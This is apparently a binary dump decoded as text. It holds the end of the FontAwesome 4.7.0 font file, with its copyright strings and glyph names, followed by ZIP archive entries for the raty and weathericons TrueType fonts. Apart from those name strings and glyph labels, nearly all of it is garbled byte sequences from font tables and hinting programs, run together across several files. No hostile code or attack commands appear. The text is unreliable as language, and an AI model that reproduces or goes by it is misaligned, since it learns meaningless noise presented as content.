.*|Ed!u&&%&	&5d	))66@C&8B@qL?P^7	G-hI[q:<rS	U~97A_IR`gp1	1	;"("j?>"T6
,6 
   &        / `                                      L       w       Q'             	 
              A  	   ^    	     	     	  "   	    	  $&  	  _  	    	  y  	 	   	  *  	  < C o p y r i g h t   D a v e   G a n d y   2 0 1 6 .   A l l   r i g h t s   r e s e r v e d .  Copyright Dave Gandy 2016. All rights reserved.  F o n t A w e s o m e  FontAwesome  R e g u l a r  Regular  F O N T L A B : O T F E X P O R T  FONTLAB:OTFEXPORT  F o n t A w e s o m e  FontAwesome  V e r s i o n   4 . 7 . 0   2 0 1 6  Version 4.7.0 2016  F o n t A w e s o m e  FontAwesome  P l e a s e   r e f e r   t o   t h e   C o p y r i g h t   s e c t i o n   f o r   t h e   f o n t   t r a d e m a r k   a t t r i b u t i o n   n o t i c e s .  Please refer to the Copyright section for the font trademark attribution notices.  F o r t   A w e s o m e  Fort Awesome  D a v e   G a n d y  Dave Gandy  h t t p : / / f o n t a w e s o m e . i o  http://fontawesome.io  h t t p : / / f o n t a w e s o m e . i o / l i c e n s e /  http://fontawesome.io/license/                                                	
 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`ab   cdefghijklmnopqrstuvwxyz{|}~  "	
 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRS TUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ 	
 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ glassmusicsearchenvelopeheartstar
star_emptyuserfilmth_largethth_listokremovezoom_inzoom_outoffsignalcogtrashhomefile_alttimeroaddownload_altdownloaduploadinboxplay_circlerepeatrefreshlist_altlockflag
headphones
volume_offvolume_down	volume_upqrcodebarcodetagtagsbookbookmarkprintcamerafontbolditalictext_height
text_width
align_leftalign_centeralign_rightalign_justifylistindent_leftindent_rightfacetime_videopicturepencil
map_markeradjusttinteditsharecheckmovestep_backwardfast_backwardbackwardplaypausestopforwardfast_forwardstep_forwardejectchevron_leftchevron_right	plus_sign
minus_signremove_signok_signquestion_sign	info_sign
screenshotremove_circle	ok_circle
ban_circle
arrow_leftarrow_rightarrow_up
arrow_down	share_altresize_fullresize_smallexclamation_signgiftleaffireeye_open	eye_closewarning_signplanecalendarrandomcommentmagnet
chevron_upchevron_downretweetshopping_cartfolder_closefolder_openresize_verticalresize_horizontal	bar_charttwitter_signfacebook_signcamera_retrokeycogscommentsthumbs_up_altthumbs_down_alt	star_halfheart_emptysignoutlinkedin_signpushpinexternal_linksignintrophygithub_sign
upload_altlemonphonecheck_emptybookmark_empty
phone_signtwitterfacebookgithubunlockcredit_cardrsshddbullhornbellcertificate
hand_right	hand_lefthand_up	hand_downcircle_arrow_leftcircle_arrow_rightcircle_arrow_upcircle_arrow_downglobewrenchtasksfilter	briefcase
fullscreengrouplinkcloudbeakercutcopy
paper_clipsave
sign_blankreorderulolstrikethrough	underlinetablemagictruck	pinterestpinterest_signgoogle_plus_signgoogle_plusmoney
caret_downcaret_up
caret_leftcaret_rightcolumnssort	sort_downsort_upenvelope_altlinkedinundolegal	dashboardcomment_altcomments_altboltsitemapumbrellapaste
light_bulbexchangecloud_downloadcloud_uploaduser_mdstethoscopesuitcasebell_altcoffeefoodfile_text_altbuildinghospital	ambulancemedkitfighter_jetbeerh_signf0fedouble_angle_leftdouble_angle_rightdouble_angle_updouble_angle_down
angle_leftangle_rightangle_up
angle_downdesktoplaptoptabletmobile_phonecircle_blank
quote_leftquote_rightspinnercirclereply
github_altfolder_close_altfolder_open_alt
expand_altcollapse_altsmilefrownmehgamepadkeyboardflag_altflag_checkeredterminalcode	reply_allstar_half_emptylocation_arrowcrop	code_forkunlink_279exclamationsuperscript	subscript_283puzzle_piece
microphonemicrophone_offshieldcalendar_emptyfire_extinguisherrocketmaxcdnchevron_sign_leftchevron_sign_rightchevron_sign_upchevron_sign_downhtml5css3anchor
unlock_altbullseyeellipsis_horizontalellipsis_vertical_303	play_signticketminus_sign_altcheck_minuslevel_up
level_down
check_sign	edit_sign_312
share_signcompasscollapsecollapse_top_317eurgbpusdinrjpyrubkrwbtcfile	file_textsort_by_alphabet_329sort_by_attributessort_by_attributes_altsort_by_ordersort_by_order_alt_334_335youtube_signyoutubexing	xing_signyoutube_playdropboxstackexchange	instagramflickradnf171bitbucket_signtumblrtumblr_signlong_arrow_downlong_arrow_uplong_arrow_leftlong_arrow_rightwindowsandroidlinuxdribbleskype
foursquaretrellofemalemalegittipsun_366archivebugvkweiborenren_372stack_exchange_374arrow_circle_alt_left_376dot_circle_alt_378vimeo_square_380plus_square_o_382_383_384_385_386_387_388_389uniF1A0f1a1_392_393f1a4_395_396_397_398_399_400f1ab_402_403_404uniF1B1_406_407_408_409_410_411_412_413_414_415_416_417_418_419uniF1C0uniF1C1_422_423_424_425_426_427_428_429_430_431_432_433_434uniF1D0uniF1D1uniF1D2_438_439uniF1D5uniF1D6uniF1D7_443_444_445_446_447_448_449uniF1E0_451_452_453_454_455_456_457_458_459_460_461_462_463_464uniF1F0_466_467f1f3_469_470_471_472_473_474_475_476f1fc_478_479_480_481_482_483_484_485_486_487_488_489_490_491_492_493_494f210_496f212_498_499_500_501_502_503_504_505_506_507_508_509venus_511_512_513_514_515_516_517_518_519_520_521_522_523_524_525_526_527_528_529_530_531_532_533_534_535_536_537_538_539_540_541_542_543_544_545_546_547_548_549_550_551_552_553_554_555_556_557_558_559_560_561_562_563_564_565_566_567_568_569f260f261_572f263_574_575_576_577_578_579_580_581_582_583_584_585_586_587_588_589_590_591_592_593_594_595_596_597_598f27euniF280uniF281_602_603_604uniF285uniF286_607_608_609_610_611_612_613_614_615_616_617_618_619_620_621_622_623_624_625_626_627_628_629uniF2A0uniF2A1uniF2A2uniF2A3uniF2A4uniF2A5uniF2A6uniF2A7uniF2A8uniF2A9uniF2AAuniF2ABuniF2ACuniF2ADuniF2AEuniF2B0uniF2B1uniF2B2uniF2B3uniF2B4uniF2B5uniF2B6uniF2B7uniF2B8uniF2B9uniF2BAuniF2BBuniF2BCuniF2BDuniF2BEuniF2C0uniF2C1uniF2C2uniF2C3uniF2C4uniF2C5uniF2C6uniF2C7uniF2C8uniF2C9uniF2CAuniF2CBuniF2CCuniF2CDuniF2CEuniF2D0uniF2D1uniF2D2uniF2D3uniF2D4uniF2D5uniF2D6uniF2D7uniF2D8uniF2D9uniF2DAuniF2DBuniF2DCuniF2DDuniF2DEuniF2E0uniF2E1uniF2E2uniF2E3uniF2E4uniF2E5uniF2E6uniF2E7_698uniF2E9uniF2EAuniF2EBuniF2ECuniF2EDuniF2EE                                   =    O<0    1hPK     N\Ŭn<  <    fonts/raty.ttfnu [               0OS/2#      `cmap	K     \gasp     x   glyf5    head Jmq  H   6hhea     $hmtx
 a     $loca     maxp  a      nameΜ    post              Lf   GLf                                    @  #                                   H         #       #                                79               79               79     0   I  %".54>32#>4&/."'."26?26?>4&/7 +L8!!8L++L8!!8L+_<<<<<<<<!8L++L8!!8L++L8!<<=<<<<=  0   ) ^  %".54>32#"32>54.#"&/"&/.46?'.46?>27>2 +L8!!8L++L8!!8L+!:,,:!!:,,:!I........!8L++L8!!8L++L8!p,:!!:,,:!!:,........     &  &/&'&54?'&54?66hhA	@#dEEd	       	 .  %7/77&/&'&54?'&54?66EWx66yXlkhhA	@UnnUx88dEEd	     	 ,  %7//7#"/#"'&?'&76?632SIx	-Zhh	A	@	G\	0fXe
DD
e		       Á_<      ϨQ    ϨQ                                        	                 0  0          
   R    	 _                                           2                @                &      
 ( H  	      	   2  	     	   @  	     	   *  	 
 ( H r a t y V e r s i o n   1 . 0 r a t yraty r a t y R e g u l a r r a t y G e n e r a t e d   b y   I c o M o o n                                 PK     N\Yy    fonts/weathericons.ttfnu [               FFTMp/     GDEF$   8    OS/2td  X   `cmap:    cvt 	+  d   fpgmS/    egasp        glyf y   kheadY% p   6hhea	 q0   $hmtxFr"j qT  loca6 u  maxp v    name} w  postSa z  	prep+    .webfU           =        S8                          2   2   9                           UKWN @                                                    
 / _%>N^n~        / _% !@P`pd߲                                                                                                                                                                                                                                                                                                          x z D   , KLPXJvY #?+X=YKLPX}Y ԰.-, ڰ+-,KRXE#Y!-,i @PX!@Y-,+X!#!zXYKRXXY#!+XFvYXYYY-,\Z-,"PX \\ Y-,$PX@\\ Y-, 9/-	, }+XY %I# &J PXea  PX8!!Ya  RX8!!YY-
,+X!!Y-, Ұ+-, /+\X  G#Faj X db8!!Y!Y-,  9/  GFa# #J PX# RX@8!Y# PX@e8!YY-,+X=!! ֊KRX #I  UX8!!Y!!YY-,#  /+\X# XKS!YX&I## I#a8!!!!Y!!!!!Y-, ڰ+-, Ұ+-, /+\X  G#Faj G#F#aj` X db8!!Y!!Y-,   %Jd# PX<Y-, @@BBK c K c  UX  RX#b  #Bb #BY @RX   CcB CcB ce!Y!!Y-,Cc# Cc#-        D  dU   . /<2<2  /<2<23!%!!D $hUD               1  	  {7  7 s         +Z3ͰT2/
Ͱ /5Ͱ25ͰN/ͳ&N+0ͳN+ͰG/kͳkG+i3gͰ//ְͰ2+$Ͱ$+Ͱ+cͰc_ QͰQ/_Ͱc+ͱ+CE992@&)4GUWXkty$9$|9JMi$9TNg$9Q9_a9c9$9999 
999995 #9990*,2:=Q_q$9N$)>@a$9&AK99CDJ$9n9Ec$9G9gk99uy|$9t$90153!2"'&#"3264&#!"3!264&#"32762#!"%;27>?2576$32;2#!"3!2>54'654$#"&#"  32654/&"632&+&26=4&"?654&"327654/&#";264&+"&s)??R $&4Uuvv&8&vwyP1'&T==*n&8
$_8ː -y/)hA'(3FLs7$&5L66L5PL6LRD " D$(6%&67%&Z&<V> 3LU7#QN1<V>7Wq7>ɎvbA ƇJE1(&Emh[%33%&66&4'&%6%E%#E5L6J7   
  !   X g w         +?3Ͱ92]/eͰ/Ͱ23/$3ͳ3+Ͱ,/QͳzQ,+O3LͰ/Ͱu2m/ְͰ}+HͰ6 DͳH}+ͰH+ͱ+93zL$9}69DF9999 9999936DFW$9(/999T9)}H$9z,x9m9990153!2654&#!"3!264&#!"7;27>73257>32;2#!"3!2>54'654$#"&#" 3!2654&#!"32654/&#"632&+&326=4&#"32?654&"27654/&#";2654&+"FH&55&*N&&66&%<)^:~sΏ!ߐ.|uO0)L%%43&&4D&)3E"(6<j1 .#5%(12'%5M,+5LUF'4'D'&h#$54%'6^'7&%33BL5L6Uo<rj<̌tbĖ_VE"ǈj&5%(55(F3(%E5eۜkV&21''56&2'*%5NC&%AG'6&$11   3  6 E Q _ p ~    +4Ͱ-/ 3PͳP-+Ͱ&/ͳH&+3ͰU/\/ ְͰ7+?Ͱ?R+XͰXK+Ͱ	 0Ͱ0/	Ͱr+xͱ+7$99?&99R),F$9X-HP$9K0M9	9`9xrdli$9 -4	 u}$9#)M999P9$K$9H&F9d9U7;?`$9\Cil999013!2>54'654.#"&#" 46?2576$32;2#!"&7264/&#"632&+&326=4&#"32?654&#"2654/&#";264&+"-zXr|1㶳5 ˎ}F(!4?$'6:o6"(!2&)23(&2M" "4%&UEL3E#&g'%11%&jkrϖXF)⹆:>̌'D7NF5kܞd`)22)&22&1)'&4LC5($ElJ2L5 
  =   L [ k w       +ͰQ/YͰ/Ͱ2/%3vͳv2+Ͱ+/FͳnF++D3BͰ{//\ְdͰdx+~Ͱ~q+=Ͱ=+ͱ+d\F+99x.1Dl$9~2nvB$9q5s999=9;$9U$9999 99992$7;$9(.s999vI9)q=$9n+l9BF9{\ad$9i9990153!2654&#!" 3!2654&#!"';27>?2576$32;2;2/654.#"&#" 3!2654&#!"32654/&#"632&+&326=4&#"?654&#"327654/&#";264&+"6(&66&4(6%%32&3&(&[:g)
yXr1a&%65&1&6E#$7D&'17l4$-%3%(68&%3J;H4%&VD$! E$&j'%33%&5U%33%&55MJ5&%3Sj6>n[;qΖXCKc&6&%11&D5'&A5lޜhX%33%%65&3$99(%4LE($FF'5L45      E ; H X h x           2=4#.546?2576$32;2"36 54'654$#"&#" 676&'&3276&'&327>.654/&#"327676&'&%327676&'&73276&'&632&+&326=4&#" 6?654&#"32764/&";2654&+"*9(,~29! G" ER
@3o)&#An"
# @"AE !AD$'4"" "$&Ap"
$ $DM!!>n&$&=mrk7!/'6&%33%&6PK7&#;F)&EJ5&&76'(6
͋;>͌5w_ɗF*V#"#D$1EW'A#$
#GF3	#(E;'&D42
0&?
"%l$!!#A$/
AS%@
"%gۜda&66&&66&WN(&6$CLB6&6&%33      ^5 < M \ h u   8   +'3ͱ"B22/Ͱ/gͳg+Ͱ/7ͳ_7+533/ ְͰN+UͰUi+oͰob+.Ͱ *Ͱ.+ͳ+Ͱ/ͱ+N:=>K$9U7M999i5@EC]$9o$%"_g3$9bd9*,9.v9y99~999 LM999	!99 *,FG$9d999g:9b.$9_]937Ry9901 2=4#.546?2576$32;2"36 54'654.#"&#" 36&+6#!";7654/&#"632&+&326=4&"32?654&#"32654/&#";2654&+")8;'2Yq1  7
FC>D$%6:m6!+ 3(&22L5L:(5&#WE$&5B$%g%&67%%7
ǈ6>ʎ4lqrϖXB)E'(E33'%E6mޞa`(43)&22&/%6&'4JF6($FH#3%&66     u7 ; K W g x            2=4#.546?2576$ ;2"36 54'654.#"&#" 6?6&'&3264&#"76?6&'&32?6&'&7654/&'"32654&"76?6&'&232?6&'&2654&"723276?6&'&632&+&326=4&#" ?654&#"327654/&";264&+"$8 ^̼$)|Xr1;#!%?%%$@
R#&55&%1A #!C&'#A{"#E
&%"B<FGC&%4$&22L2B! %>%&#B' !A%$(A
OL22L2A"#!

#$%?%j9!-)1&'67&%2M9H5&%;A !  EJ%%33%&8
ǋ;>͐0ljqϖYF)X6
-A$?&&?	*#3J32/
#%`'=$#b3
A?)@%$?	zLD%&E$42&%224
 ,`#@'%`1
F@"B
%&?6%2%&221

'`$?"%ajٜj^%11%%65&ZP99(&5JC&$Ae&6L56      fF @ M ] o          ?"&546?2576$32;267>54'654.#"&#" 676&'&676&'&327676&'&7676&'&654/&#"327676&'&632&+&326=4&#" ?654&#"327654/&#";2654&+"֨}̵4̵N
O̓~-~Zr/%#H!#GNM7#""#I PJD>A!!AE&'6:"
$"#Iq7$,!5&'67&%6SK7%#;F &F%'j&&66&&4/
ϑ:?ˎ	J
!scqЖZF)##!C#)#-M
#"#H"$	 . I	U'F:'$E4###G"gۜj\%33%%65&VL'&7LC$&BM&7&%33    
  > ; L ^ m         +'3Ͱ"2/3ͳ+Ͱ/6ͳ6+432Ͱd/l/ ְͰ<+2CͰC`+gͰg+Ͱ+.Ͱ *ͳ.+Ͱ2Ͱ/.+ͱ+6=f +
]\UV=X +
~}vw UV\]vw}~........UV\]vw}~........@<999C99`M9g6RE$94n$9$%"2$99*,9999 9@	 *,HZ{$999999.$992699ld$901 2=4#.546?2576$32;2"36 54'654$#"&#" 3276&'&32676&'&32654/&#"32676&'&632&+&326=4&#"?654&#"32654/&";2654&+")8)-}1@##?'%#A '
. 
#$%A
 -E#"8D#'W!!	1
#$&?
q7#-&6&%32&(4NI5'!WE$$4BJg&&66&&
͋:=̌5scƘF*m3
Ds&B$$3%!%?$$G	gLF2&'E1
%s%?$$"kݞda%32&)45(2'('4LC4'&FnL6%&7     5 = M \ p ~           2=4#.546?2576$32;2"3>54'654.#"&#" 6?6&'&6?6&'&23276?6&'&764/&#"6?6&'&26?6&'&26?6&'&632&+&26=4&"32?64&"3276&/&#";2654&+")5̿,yXr/B"E%$(@D#B$$'@ $"%$%A
1F6GC&%6_"!%>#$(A)?1

'%!B! 0$$%?
 #j2$+3P33P3P!!!4JTB!!E#&g4$)45(%3ˋ9=̌r_rϖXD)}8
#)p!C
&&j=#'n!B
%%m61j%A
%$m	+(E66JF56
 ,l%A'%n<"$l&A%$m
3	&j&?
#$qfݝZb(33((44(4(L4JD!!IFG$42&(46      0 < F R a n y          2=4#.546?2576$32;2"36 54'654$#"&#" 2654&"32654&"64/&#"32654&#"3264&#"3264&#"2654&"32654&#"632&+&26=4&"?654&#"32654/&";264&+"8(.~13J33J3"&23J3F!@D&(6y$&55&$44$&55&$4#&55&#5X4J33J4$&23%&3hn6"/'6L23J7LG7%#VD'!5BJ4'%66%&8ˆ6>͎2y`ɖF,&66&$44Y!2%&22('F9NA5B$4&%55[$43J44#2L56.&66&$44Y"2%&23Vjޛd`%22%&67%4%%&6(C7&$E5{&6L56   
  0 = L Z k w     9   +(3	Ͱ#2/3ͳ+Ͱ/8ͳz8+634/ ְͰ>+DͰD[+aͰM Tͳra[+lͰl/rͰa+Ͱ}+0Ͱ  ,ͱ+>;999MAI99l[8X999rT^egot$9a69x999%&#z4$9} 9,.909 	[a99@ ,.AIeglor$9t$9;9}0$9zx948Q99012=4#.546?2576$32;2"3>54'654$#"&#" 32654&'&'764/&#"32654'&'&'32654'632&+&26=4&"32?654&#"327654/&#";2654&+"8,| 1vZ?@VK "	&+H	EC>D#'44ghVJ>9OW=+):c1hj7#.'7J21L6L %6&#VE('A%&3'&56%&8ˊ:>̋v_ȗF*=VU>'&$	+.N)F22JE6ifV|a>	4iyg(::(Bi Ukjܝ^f&66&&22&0'%'4(>$#E4z$3%&56    	  q	  ( 7 R a o |   /PͰI/^Ͱ/3Ͱ2B SͰV/Ͱe/l/ְ8Ͱ28 Ͱ /8b+hͰhL+ͰY+ͳ}Y+p3Ͱw2+ͱ+8)9b#&05HST$9hIV^$9L\99}|9{999 Ptw99I;q{$9^&@F\$9S $Y$9V-99e0}99l)5$901;2654&+"3!2654'654.#"7654/&#"46?257>32;2#!"&>32&#.#326=4&#" 7654/&"32?654&#";2654&+"</+=<,/<ܛf큯٩3yKK"(-7-VBB
[]	
EeeE$Hbm]^{/<=+,==,+=CSX9+,=,*</+=<,/<+89*.<;=M6Ufڮ$[&i-99-+ <C`	<\||\EdEHffp;N,==,*99*V DD-+- -,<0+89*.<;    
  p   - = H U a p    S/LͰ;/AͰ/3Ͱ2F/2Ͱ`/Z/ ְͰ.+>Ͱ>U+V2PͰ\2PC+7ͳq7C+b3yͰj27+ͱ+ 99.!)999>&99U;@99PF299C:A997fv~999 LSkm$9;bj999Af99.7>C$92F)~99`&qy$9Z!v9901476;2+"&4?632'&47632#"/&4$32 $7 654&#"4632"&55462"&47632/&4?632#"&476;2+"$%11%%61'&3AB%#3&'pΕX  8ݜ5&'45L56J65L5M$'@@#&5#$0#%77%%'6L56B%0%'33%'&3EYp  ݜ)&44&'66'I%66%%11%J22(6%(3L7J6   C J ] m }         ;36&+6#!".546?2?6$32;2"3>54'654$#"&#" 3276?6&'&654/&#"6?6&'&3276?6&'&76?6&'&632&+&26=4&" ?64'&#"327654/&#";264&+"թF

rs6ο.zsO1i" 	"
&&!BE"!@C&(6v #"A '&$A.% $$%A##& 
%&$@k2!/$5L33L5SI&%:E%#B$&5'&65''5/?\y??͎ubŘ`UE)%4
0n(?&$o	=%F:'%F41
#*n#A%&p"4l&?
$$o3
	/k(?#$qg۝iX&65''56&WNL%C&%B7'5L33 	  ; H Z i ~       ;36&+6#!".546?2576$32;2"36 54'654$#"&#" 32676&'&7654/&#"327676&'&632&+&326=4&#" 2?64&#"2327654/&#";2654&+"ҩD	
rr8;).~1_!!6	
"#%A
#DLC%(d! 
$$%?
k7!1)7%&22&%7NK6&#:F&E$%5$%76&(3[?w6>ʏ4v`ɖE)I. "%?$$k	2LF(&F 1P&>$$gڜda%76&&66&XNL6$C&%A6J7&%3     z	}
  9 p    +[3ͰU2/Ͳ
+ 	+7/!ͰP/eͳ1eP+'Ͳ'1
+ '+	+I/hq/ְͲ
+  	+ 	+%+4Ͳ%4
+ %	+ %-	+4S+`ͱr+EG99%IVXYh$9S4LUe999 9!74S99'<?R`n$9P3@B9991CM99eEFLk$9IG90154763!2"'&46322654&#!"&4763!264&#""&547632#!"&;27>?2576$32;2#!"3!2>54.+& #" $BvT1(% T>>*%6$e*>>*,N1Q|ww&5
$^8ϑ!2/)Z(vwTN3=,*=5j'>V=1'(Q3!Wr7? ǈ      	   T b W   +>3Ͱ82`/YͰ/Ͱ2/IͰ+/Lc/5ְDͱd+ 2$5DR$9I(.%O$9+)9015463!2#!"&4763!2#!"&;27>?2576$32;2#!"3!2>54.+& #" 4763!2#!"&6(&23%C(6(%11%@%7B
$]: Ў!lōT!4/)z''56&A%6W'43(&33l&2L67Wr7?̑SkŊs'3L66      	B  - P    +ͰE/@Ͱ/*3	Ͱ%/ͳL%+:Ͱ6/OQ/ ְͰ+Ͱ=+HͱR+	/6O$97999=BCL999 E99@ F999+,$9	"'=H$9:#9L23499960199014676$3232  #!".73!264&+"5'. #76 32"3>54&+&$#"ƛ)*½),
"\zH|||0sE.a
ha*Ɵ#Hz\z4Ȗ-
.\Dg`y
꠩   
Q   J Y T   +ͰW/OͰ/Ͱ3/&3?Ͱ,/BZ/ְHͱ[+ 3%89HI$9?)/E999,*9015463!2#!"&4763!2#!"&;27>?2576$32;2;2'&$+& #" 54763!2#!"&6((35&9(6'%22%8&5
&Z;g)/"51((&56%7%7V'43(%22t'3%&56#Sj5=n[ e&2%&67     8 E W g {     +'3Ͱ"2/30Ͱ/3/ ְͰ9+D2>ͰF LͰ>X+h pͱ|+++ͱ+6= +
L.MVU=V +
 LMUV........MUV.......@96E$9F9XLR9ph3^b$9|v9$%0r$9 F99 +Rv$906999901 2=4#.546?2576$32;2"3>54.+& #" 676&'&676&'&#"327>.327676&'&#"%327676&'&32767654&'&#")9ꇎ"41E" E# CP!!F`
%&1
^"
# ?#NC!
!$3n"
" $CM" `! 0	`
̋9>̌)H""#C$/!/i(? #FF2 ;0&>
 \'"#@$ 2
)d0	         !  36#!6#!"3!36&+6#!";*?#j%<-&>E2     
  u  7 G S d u     o   +'L333ͱ"Q22j/pͰ/;3ͰB2z ͰV/Ͱ^2/3/Ͱ/2/ ְͰH+OͰO> 8Ͱ8/3>ͰOZ TͰT/ZͰOv+}Ͱ}l eͰe/lͰ} Ͱ/3Ͱ Ͱ}+Ͱ Ͱ/Ͱ2+*ͱ+6>% +
.l.lt>d +
lml+tst+++st  #9ml999 @lmst£............@	mst£.........@8599H99>TQLa999O@9vj\999lz9}29999999$9$9$%/$9 zpq98}v$999C99HN$9VX$9a99 *_$9/5999901 2=4#.546?2576$32;2"36 54.+& #" 6?6&'&3264&#"76?6&'&32?6&'&32654&"76?6&'&232?6&'&32654&"723276?6&'&*µ8'!51A#!%>$%$A
Q#&44&%2A!#!B&'#A|!#D
&%"BS#&22L2C  %>%&#B&!!A$$(A
O%&22L2A##"

$$%>
ˇ5>Ύ1ԏ.Y6
-A$?&&?'"3J32/
#%`'=$#b2
A?)@%$?,#2&%224
 ,`#@'%`2
F@"B
%&?6$2%&221

&`$?"%a      g ? N b s    /ͳp+iͰ/6Ͱ/9/ ְ	Ͱ	@+d+tͰt+0ͱ+d@=HOQ$9tTi99@&-69X\n}$9 ic9pqE999@ *0@KT\$96=999901?"&546?2576$32;2"3276 54.+& #"676&'&73276'.#"327676&'&73276=.+327676'&/Ѩ|ʴ8ʴ!+*Sl"5ߕi!#H#$B$$3	%R"%"#I:$2%0w#$"&#3̐;>ʏL%0lčT(
""#D$$#'*".&"#H"#/#/#$*#,!
"      7 L _ u 5  +30Ͱ2/)3	Ͱ#/v/ ְ-Ͳ- 
+@-3	+-+Ͳ
+@	+w+6>k +
:;DC= +
MNWV= +
bcon @:;CDMNVWbcno............@:;CDMNVWbcno............@-	8`k$9 0569 *>Qf$9	 &999#!901476 32 32"=43>&+"5'&$#"#2#& 47>32#"'&#.	>32#"'&'&47>32#'.2^Y4"Ў8;
1&'D	#"2#"
2 	/!!0 ")֋>9Ą
2g @'D
3 
?%W&"Rg 	0%	3     : N c u   ' 6  +31Ͱ2B  +3HͰ2@  +v  +/*3	Ͱ$// ְ.Ͳ. 
+@.4	+.O+R2^Ͱ^+Ͱ+Ͳ
+@	++6= +
<SF]>0 +
eyo= +
.<=<S+><S+?<S+FEF]+<R<S+F^F]+= +efey+hey+ono+exey+oo++=<S  #9>9?9EF]9fey9h9x9no999 @>?EFRS]^hnoxy<=ef........................@>?EFS]hnoxy<=ef.....................@O.';H$9^[d99$qv$99	!$9 1BA9 +V`{$9	 '999$!901476 32 32 "=43>54&+"/.#"#2#.4657>#".#.4657>323'.4657>#"'.4?>#"'.4?>#"'.4?>6#"'./\[5$̎t8iPB?%$&<"" 
0	$%@%##
A%$$D##A%$$9##-A#%'
D " 2#<
!! )؍Ɉ=ri:ƈVn$%?%lF
5p!?%k,%
4j&'A%oA5	n$%
?&jH1j&'
A#qA5n"!!*nE
/      7 A J U ` l w   O  +TͲ5  +?u3330Ͳ:o222j/eͰJ/3FͰ{2_/ZͰ/)3	Ͱ#// ְ-Ͳ- 
+@-3	+-8+B2=ͰG2=a+KV22hͱQ\22hm+x2rͰ}2r+Ͳ
+@	++8-&99ha#99rm!99	99 Z *-$9	 &999#!901476 32 32 "=43>54&+"5'&$#"#2#& 462"&4762"$47632#"47632#"47632#"&462#"&4762"&2]Y4"ΐ83J33J3J33J!#%76&$4!&66&$4#&66&$4X6J33%&5L22L5,֍ˈ>5ǆ2$44$&55}L2L2J7J5J5J3P$6J33y#54$&56#2L23     6 E Y e  4  +3/Ͱ2/(3	Ͱ"/f/ ְ,Ͳ, 
+@,2	+,7+@Ͱ@F+Tͳ`TF+ZͰZ/`ͰT+Ͳ
+@	+g+7,%99ZF"99`LWN999T	 99 /45FT999@	 <CLNZ`c$9	%\$9" 901476 32 32 "=43>&+"5'&$#"#2#& %46767#"&467>767#"&47#"&1^X5!Ў8xN""&)GV@?Z>3%T<L&2igh.;)+=)֋>:ʈ
2w')&+,*?TV,t3)a
5g5t-g.Ch"S);;     F Y i }  4  +3/Ͱ/Ͱ)/>Ͱ"/A/ ְͰZ+`Ͱ`~+Ͱ,+9ͱ+6=q +
XgPa>z +
|tPQPa+XWXg+P`Pa+= +XhXg+tut+|{|+tt+||+WXg  #9h9QPa9{|99ut99 @PQWX`aghtu{|................@PQWXaghtu{|...............@Z DGL$9`A"99~pj99%(>$9,)12999 /45y999.e99999) ,9$9>%D999" 901;36&+6#!".546?2576$32;2"3>54.+& #" 3276?6&'&6?6&'&23276?6&'&3276?654&'"&#"ӨEo
	sr8;hP"51f!!"
%&#A! $@ 
&&$B-#!#$(A"#!##2
3m-w7>ʎ
Xh)+1
)p#@
%&k/"'o#A
%%l6
2l%C
&&n	2	-n3
!#l   ~ D X p  4  +3/Ͱ)/<Ͱ"/?q/ ְͰ,+7ͱr+6= +
WVMN>6 +
pmbcpnpm+opm+opm  #9n9 @
MNVWbcmnop..........@
MNVWbcmnop..........@,12<BEY$9 /4599) 7Sj$9<%B999" 901;36&+6#!".546?2576$32;2"36 54.+& #" 232676&'&#"2767654&'&#"ԩFi	
rr8ξ)!51e>3	
"$1	 !" .	35ew6>ˎ4֐);?$&>  ^8#/]0
!    ".   ( 6 $ &/Ͱ/33Ͱ,2/7/8+ 01463!2#!"& 4763!2#!"4763!2#!"&463!2#!"&2$	#..#$2$
"//"#z#$01##1i/%%/0$%/$0/%#..5F0F1".F22R%/0$#..   z
  ;     +\3ͰV2/Ͱ"/9ͰQ/ͳ(Q+2ͰK/}Ͱ/v/ְG2Ͱ5+&Ͱ&+nͰnT+aͱ+I995(+8JWYZ}$9&K{99MQVv$9n9Tr99acl999 9999"%T992,.>ASa$9Q&+BDc$9(EN99GHM$9KIfl999}{99n99vp90143!2#"'&#"2654&#!"'3!264&#"327632#!"%;27>?2576$ ;2#!"3!2>54'6?654/.54?6/&#"&#" >32&+&&d*??*) $&4T짧v&8%vvzP1&&+)>>){&8
$]8^͐Iu,@
UF?;zz.q/(2^7#+~J=*+> 4&$Twv#QP0<+*>7Wq7>{qH
)o'-B;oK0 ƈX]E<2z     
   i w     +?3Ͱ92n/uͰ/Ͱ3/Ͱ,/aͰ{/Z/~ְRͰR6+Dͱ+6RV99DEN999 C93%6DEg$9)/&d$9,*JN999aR_x999{}9ZT90153!2654&#!"3!2654&#!"7;27>?2576$32;2#!"3!2>'6?654/.54?6/&#"&#" 3!264&#!">2&+&6(&22&(6&%32&&6o
$]; ώEs.BFl?XF?<zy-|/)M&&66&&5>7]	5"(V&22&(34&5&%33Wr7>̐ xgIPcf2&7A	;oK3 ŉp'6J33BXaF@2~    	 L Y j z    P   +'33Ͱ"2/3Ͱ/GͰ/@/ ְͰZ+`Ͱ`k+{ ͱ++8Ͱ8+*ͱ+6=
 +
`.ahg= +
 `agh........agh.......@ZJY$9`S9{Gqu$9E99@
"$%@$98:<999*,5999 Z999 *,e$9J$9/5999GE999@:901 2=4#.546?2576$32;2"36 54'6?654/.5&?6/&#"&#" 676&'&676&'&327>.327676&'&%327676&'&73276&'&>2&+&)8(E~'<[6	UCI8w{-x1H#F" DQ" )=^'&#@^"
$ ?"OD
%
#$%A
o"
# #EM! A]
#$%?^E2c	1")
̋:>͌4։xwIG'->	;oK4)Y""#D#0
!,V(?$$#FF2=	0&>$$n# !#A$.
AR&>$$\`!FF,}     N	 L ] m    +'3ͱ"V22/lͰ/GͰa/@n/ ְͰd+8Ͱ8+*ͱo+d@"$%@JNY^l$98<i99*,5g999 OP999 *,Z[$9lJgi$915999GE^99a8c99@:901 2=4#.546?2576$32;2"36 54'6?654/.54?6/&#"&#" ;36&+6#!">32&+&)8;'I%>[6
TF?:z|-q22 
5_	7"-
